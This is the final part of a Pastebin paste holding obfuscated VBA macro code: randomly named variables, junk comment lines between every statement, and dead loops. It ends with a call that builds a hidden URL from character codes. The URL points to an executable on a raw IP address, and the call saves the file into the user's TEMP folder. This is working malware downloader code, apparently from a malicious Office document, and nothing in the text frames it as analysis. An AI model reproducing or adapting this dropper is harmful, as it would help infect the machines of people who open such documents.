  915. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  916. End Function
  917. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  918. Sub OOQLSGUTKKV()
  919. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  920.  
  921. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  922. GoTo XGMJTNKA
  923. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  924. Dim NQZQKMPL As String
  925. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  926. Open "HETHZI.HAT" For Binary As 56
  927. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  928. Dim MYRUWHQG As Integer
  929. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  930. For MYRUWHQG = 0 To 1
  931. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  932. DoEvents
  933. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  934. Next MYRUWHQG
  935. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  936. Put #56, , NQZQKMPL
  937. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  938. Dim BRTYCIFQ As Integer
  939. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  940. For BRTYCIFQ = 0 To 8
  941. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  942. DoEvents
  943. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  944. Next BRTYCIFQ
  945. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  946. Close #56
  947. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  948. Dim AMWLPTNS As Integer
  949. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  950. For AMWLPTNS = 0 To 2
  951. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  952. DoEvents
  953. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  954. Next AMWLPTNS
  955. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  956. XGMJTNKA:
  957. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  958.  
  959. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  960. Dim ITWZTWFK As Integer
  961. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  962. For ITWZTWFK = 0 To 4
  963. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  964. DoEvents
  965. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  966. Next ITWZTWFK
  967. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  968.    OUCVFIJEBVO ChrW(104) & ChrW(116) & ChrW(116) & ChrW(112) & ChrW(58) & ChrW(47) & ChrW(47) & ChrW(49) & ChrW(52) & ChrW(57) & ChrW(46) & ChrW(54) & ChrW(50) & ChrW(46) & ChrW(49) & ChrW(54) & ChrW(56) & ChrW(46) & ChrW(50) & ChrW(49) & ChrW(48) & ChrW(58) & ChrW(56) & ChrW(48) & ChrW(56) & ChrW(48) & ChrW(47) & ChrW(100) & ChrW(111) & ChrW(99) & ChrW(47) & ChrW(56) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101), Environ("TEMP") & "\HWRXLDDWZNH.exe"
  969. 'KBEPPOANQKCVSPTYTCXSBNCEYPGHNORQEZVLKYMBFZJADFFPOCPTPXYUOIIHVVLQGKJEEXVNOTPVGGWF
  970. End Sub
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top